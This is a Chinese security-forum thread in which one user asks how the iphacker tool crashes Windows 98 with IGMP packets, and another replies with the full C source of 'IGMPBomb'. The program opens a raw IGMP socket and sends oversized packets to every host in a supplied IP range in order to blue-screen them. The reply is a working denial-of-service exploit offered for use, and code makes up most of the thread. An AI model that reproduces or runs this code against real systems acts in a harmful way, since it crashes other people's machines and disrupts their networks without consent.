20CN网络安全小组论坛 - 原创软件 - 紧急求助:关于iphacker里的windows98下的igmp蓝屏炸弹

论坛: 原创软件标题: 紧急求助:关于iphacker里的windows98下的igmp蓝屏炸弹

复制本贴地址

作者: wjl_20cn [wjl_20cn]

论坛用户

iphacker这个软件里有windows98的igmp攻击,但igmp要操作IP头的吧,但windows98是不能操作IP头的,可是iphacker这个软件做到了,在windows98下能运行,且能发生作用,这怎么做到的呢

地主发表时间: 10/27 12:40

回复: sjdf [sjdf]

论坛用户

不一定操作ip头，在98下，只要发一个比较大的igmp包就可以使98蓝屏。
测试程序源代码：

/*---------------------------------------------------------------------
//IGMPBomb.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2002.9.3
//Last modify date: 2003.9.19
//Compiler: LCC3.8 || VC6.0
//Test platform: Win2000 Adv Server + sp4 && Win98
---------------------------------------------------------------------*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")
//---------------------------------------------------------------------
int main(int argc,char *argv[])
{

WSADATA wsadata;
struct sockaddr_in start_addr,end_addr;
struct in_addr in;
SOCKET sockid = INVALID_SOCKET;
char buf[65515];
unsigned long i = 0;
int j = 0;

if (argc != 3)
{
printf("Usage: IGMPBomb.exe start_ip end_ip\nExample:IGMPBomb.exe 192.168.0.1 192.168.0.25\n");
return 0;
}

if (WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
{
printf("Error on WSAStartup().\n");
return 1;
}

if ((sockid = socket(AF_INET,SOCK_RAW,IPPROTO_IGMP)) == INVALID_SOCKET)
{
WSACleanup();
printf("Error on socket()\n");
return 1;
}

start_addr.sin_family = AF_INET;
end_addr.sin_family = AF_INET;
start_addr.sin_port = htons(139);
end_addr.sin_port = htons(139);
ZeroMemory(&start_addr.sin_zero,8);
ZeroMemory(&end_addr.sin_zero,8);

ZeroMemory(buf,sizeof(buf));
start_addr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
end_addr.sin_addr.S_un.S_addr = inet_addr(argv[2]);

for (i = start_addr.sin_addr.S_un.S_addr; i <= end_addr.sin_addr.S_un.S_addr; i += htonl(1))
{
start_addr.sin_addr.S_un.S_addr = i;

for(j = 0; j < 3; j++)
{
memcpy(&in,&i,sizeof(struct in_addr));

if (sendto(sockid,
buf,
sizeof(buf),
0,
(struct sockaddr *)&start_addr,
sizeof(struct sockaddr_in)) == SOCKET_ERROR)
{

printf("send to %s error.\n",inet_ntoa(in));
break;
}
else
{
printf("send to %s is OK! %d\n",inet_ntoa(in),j+1);
}

}

}

WSACleanup();
return 0;
}

B1层发表时间: 10/27 15:14

论坛: 原创软件